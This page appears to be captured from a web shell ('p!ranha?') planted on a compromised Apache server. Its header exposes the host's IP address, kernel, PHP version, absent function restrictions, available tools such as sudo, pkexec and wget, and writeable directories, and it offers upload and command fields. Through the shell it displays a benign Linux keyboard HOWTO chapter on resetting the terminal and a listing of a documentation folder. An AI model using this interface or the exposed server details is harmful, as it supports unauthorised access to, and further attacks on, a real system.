p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/kbd-1.15.5/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/doc/kbd-1.15.5/kbd.FAQ-4.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<HEAD>
 <META NAME="GENERATOR" CONTENT="SGML-Tools 1.0.9">
 <TITLE>The Linux keyboard and console HOWTO: Resetting your terminal</TITLE>
 <LINK HREF="kbd.FAQ-5.html" REL=next>
 <LINK HREF="kbd.FAQ-3.html" REL=previous>
 <LINK HREF="kbd.FAQ.html#toc4" REL=contents>
</HEAD>
<BODY>
<A HREF="kbd.FAQ-5.html">Next</A>
<A HREF="kbd.FAQ-3.html">Previous</A>
<A HREF="kbd.FAQ.html#toc4">Contents</A>
<HR>
<H2><A NAME="s4">4. Resetting your terminal</A></H2>

<P>
<!--
terminal!resetting
-->

<!--
screen!clearing
-->

<!--
console!clearing
-->
<P>There is garbage on the screen, or all your keystrokes are echoed
as line drawing characters. What to do?
<P>Many programs will redraw the screen when Ctrl-L is typed. This might
help when there is some modem noise or broadcast message on your screen.
The command <CODE>clear</CODE> will clear the screen.
<P>The command <CODE>reset</CODE> will reset the console driver. This helps when
the screen is full of funny graphic characters, and also if it is
reduced to the bottom line. If you don't have this command, or if it
does something else, make your own by putting the following two lines
in an executable file <CODE>reset</CODE> in your PATH:
<BLOCKQUOTE><CODE>
<PRE>
        #!/bin/sh
        echo -e \\033c
</PRE>
</CODE></BLOCKQUOTE>

that is, you want to send the two characters ESC c to the console.
<P>Why is it that the display sometimes gets confused and gives you
a 24-line or 1-line screen, instead of the usual 25 lines?
Well, the main culprit is the use of <CODE>TERM=vt100</CODE> (or some other
entry with 24 lines) instead of <CODE>TERM=linux</CODE> when logged in remotely.
If this happens on <CODE>/dev/tty2</CODE> then typing
<BLOCKQUOTE><CODE>
<PRE>
        % cat > /dev/tty2
        ^[c
        ^D
</PRE>
</CODE></BLOCKQUOTE>

on some other VT (where 4 symbols are typed to <CODE>cat</CODE>: ESC, c, ENTER,
Ctrl-D) and refreshing the screen on <CODE>/dev/tty2</CODE>
(perhaps using Ctrl-L) will fix things. Of course the permanent fix
is to use the right termcap or terminfo entry.
A command that only changes the number of lines is
<BLOCKQUOTE><CODE>
<PRE>
        % echo -e "\033[1;25r"
</PRE>
</CODE></BLOCKQUOTE>
<P>Why is it that you sometimes get a lot of line-drawing characters,
e.g., after catting a binary to the screen?
Well, there are various character set changing escape sequences,
and by accident your binary might contain some of these.
The ESC c is a general reset, a cure for all, but if you know
precisely what went wrong you can repair it without resetting
other console attributes. For example, after
<BLOCKQUOTE><CODE>
<PRE>
        % cat
        ^N
        ^D
</PRE>
</CODE></BLOCKQUOTE>

your shell prompt will be all line-drawing characters.
Now do (typing blindly)
<BLOCKQUOTE><CODE>
<PRE>
        % cat
        ^O
        ^D
</PRE>
</CODE></BLOCKQUOTE>

and all is well again. (Three symbols typed to each <CODE>cat</CODE>:
Ctrl-N (or Ctrl-O), ENTER, Ctrl-D.) To understand what is happening,
see `The console character sets' below.
<P>If you loaded some strange font, and want to return to the default,
<BLOCKQUOTE><CODE>
<PRE>
        % setfont
</PRE>
</CODE></BLOCKQUOTE>

will do (provided you stored the default font in the default place).
If this default font does not contain an embedded Unicode map (and
gives the wrong symbols for accented characters), then say
<BLOCKQUOTE><CODE>
<PRE>
        % loadunimap
</PRE>
</CODE></BLOCKQUOTE>

For example, if I do
<BLOCKQUOTE><CODE>
<PRE>
        % loadkeys de-latin1
</PRE>
</CODE></BLOCKQUOTE>

then I have a German keyboard, and the key left of the Enter key
gives me a-umlaut. This works, because the a-umlaut occurs
on the CP437 code page and the kernel Unicode map is initialized
to CP437, and my video card has a CP437 font built-in.
If I now load an ISO 8859-1 font with
<BLOCKQUOTE><CODE>
<PRE>
        % setfont iso01.f16
</PRE>
</CODE></BLOCKQUOTE>

then everything still works, because <CODE>setfont</CODE> invalidates the kernel
Unicode map (if there is no Unicode map attached to the font), and without
map the kernel goes directly to the font, and that is precisely correct
for an ISO 8859-1 system with <CODE>iso01.f16</CODE> font.
But going back to the previous font with
<BLOCKQUOTE><CODE>
<PRE>
        % setfont
</PRE>
</CODE></BLOCKQUOTE>

gives capital Sigma's instead of a-umlaut - all accented letters
are mixed up because also this font has no embedded Unicode map. After
<BLOCKQUOTE><CODE>
<PRE>
        % loadunimap
</PRE>
</CODE></BLOCKQUOTE>

which loads the default Unicode map (which is right for the default
font) all works correctly again. Usually <CODE>loadunimap</CODE> is not
invoked directly, but via <CODE>setfont</CODE>. Thus, the previous two
commands may be replaced by
<BLOCKQUOTE><CODE>
<PRE>
        % setfont -u def
</PRE>
</CODE></BLOCKQUOTE>

These days most fonts have embedded Unicode maps (often this is
indicated by the extension <CODE>.psfu</CODE>), and none of this nonsense
is needed anymore.
<P>On very old terminals output involving tabs may require a delay,
and you have to say
<BLOCKQUOTE><CODE>
<PRE>
        % stty tab3
</PRE>
</CODE></BLOCKQUOTE>

(see stty(1)).
<P>You can change the video mode using <CODE>resizecons</CODE> or
<CODE>SVGATextMode</CODE>. Or by rebooting and having "vga=ask"
in the LILO configuration file.
<P>This usually settles the output side.
<P>On the input side there are many things that might be wrong. If <CODE>X</CODE> or
<CODE>DOOM</CODE> or some other program using raw mode crashed, your keyboard may
still be in raw (or mediumraw) mode, and you must give the command
<BLOCKQUOTE><CODE>
<PRE>
        % kbd_mode -a
</PRE>
</CODE></BLOCKQUOTE>

or
<BLOCKQUOTE><CODE>
<PRE>
        % kbd_mode -u
</PRE>
</CODE></BLOCKQUOTE>

to get back to normal 8-bit or Unicode mode again. Of course in this
situation it may be difficult to give commands.
(See "How to get out of raw mode" below.)
<P>If you loaded a bad keymap, then
<BLOCKQUOTE><CODE>
<PRE>
        % loadkeys -d
</PRE>
</CODE></BLOCKQUOTE>

loads the default map again, but it may well be difficult to type `-'!
An alternative is
<BLOCKQUOTE><CODE>
<PRE>
        % loadkeys defkeymap
</PRE>
</CODE></BLOCKQUOTE>

Sometimes even the letters are garbled. It is useful to know that there
are four main types of keyboards: QWERTY, QWERTZ, AZERTY and DVORAK.
The first three are named after the first six letter keys, and roughly
represent the English, German and French speaking countries.
Compared to QWERTY, the QWERTZ map interchanges Y and Z.
Compared to QWERTY, the AZERTY map interchanges Q and A, W and Z, and has
its M right of the L, at the semicolon position.
DVORAK has an entirely different letter ordering.
There are two types of Turkish keyboard. The so-called `Q'-keyboard
has a QWERTY layout, while the `F'-keyboard has an entirely
different layout, let us say fgGIod, where G stands for Gbreve
and I for dotlessi.
<P>
<H2><A NAME="ss4.1">4.1 Keyboard hardware reset</A>
</H2>

<P>
<!--
keyboard!resetting
-->
<P>Things may be wrong on a lower level than Linux knows about.
There are at least two distinct lower levels (keyboard and keyboard controller)
where one can give the command "keyboard disable" to the keyboard hardware.
Keyboards can often be programmed to use one out of three
different sets of scancodes.
<P>However, I do not know of cases where this turned out to be
a problem.
<P>Some keyboards have a remapping capability built in.
Stormy Henderson (<CODE>stormy@Ghost.Net</CODE>) writes:
`If it's your keyboard accidently being reprogrammed, you can
(on a Gateway AnyKey keyboard) press control-alt-suspend_macro
to reset the keys to normal.'
<P>
<HR>
<A HREF="kbd.FAQ-5.html">Next</A>
<A HREF="kbd.FAQ-3.html">Previous</A>
<A HREF="kbd.FAQ.html#toc4">Contents</A>
</BODY>
</HTML>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:39
0 / 0
0755
ANSI-dvorak.gif
3.719 KB
December 01 2012 21:41:38
0 / 0
0644
AUTHORS
0.724 KB
December 01 2012 21:41:38
0 / 0
0644
COPYING
1.947 KB
December 01 2012 21:41:38
0 / 0
0644
ChangeLog
15.691 KB
November 24 2021 16:32:22
0 / 0
0644
README
0.622 KB
December 01 2012 21:41:38
0 / 0
0644
dvorak-l.xmodmap
2.278 KB
December 01 2012 21:41:38
0 / 0
0644
dvorak-r.xmodmap
2.283 KB
December 01 2012 21:41:38
0 / 0
0644
dvorak.diffs
1.374 KB
December 01 2012 21:41:38
0 / 0
0644
dvorak.txt
1.137 KB
December 01 2012 21:41:38
0 / 0
0644
dvorak.xmodmap
2.106 KB
December 01 2012 21:41:38
0 / 0
0644
font-formats-1.html
5.354 KB
December 01 2012 21:41:38
0 / 0
0644
font-formats-2.html
1.444 KB
December 01 2012 21:41:38
0 / 0
0644
font-formats-3.html
6.843 KB
December 01 2012 21:41:38
0 / 0
0644
font-formats-4.html
2.146 KB
December 01 2012 21:41:38
0 / 0
0644
font-formats-5.html
0.505 KB
December 01 2012 21:41:38
0 / 0
0644
font-formats.html
1.286 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-1.html
4.086 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-10.html
2.582 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-11.html
2.195 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-12.html
8.019 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-13.html
4.388 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-14.html
3.393 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-15.html
6.756 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-16.html
2.948 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-17.html
1.675 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-18.html
2.463 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-19.html
1.317 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-2.html
2.925 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-20.html
1.684 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-21.html
1.671 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-22.html
2.376 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-23.html
0.942 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-3.html
2.057 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-4.html
7.677 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-5.html
16.866 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-6.html
2.681 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-7.html
5.576 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-8.html
9.191 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ-9.html
2.545 KB
December 01 2012 21:41:38
0 / 0
0644
kbd.FAQ.html
5.105 KB
December 01 2012 21:41:38
0 / 0
0644
utfdemo
4.15 KB
December 01 2012 21:41:38
0 / 0
0644
utflist
25.096 KB
December 01 2012 21:41:38
0 / 0
0644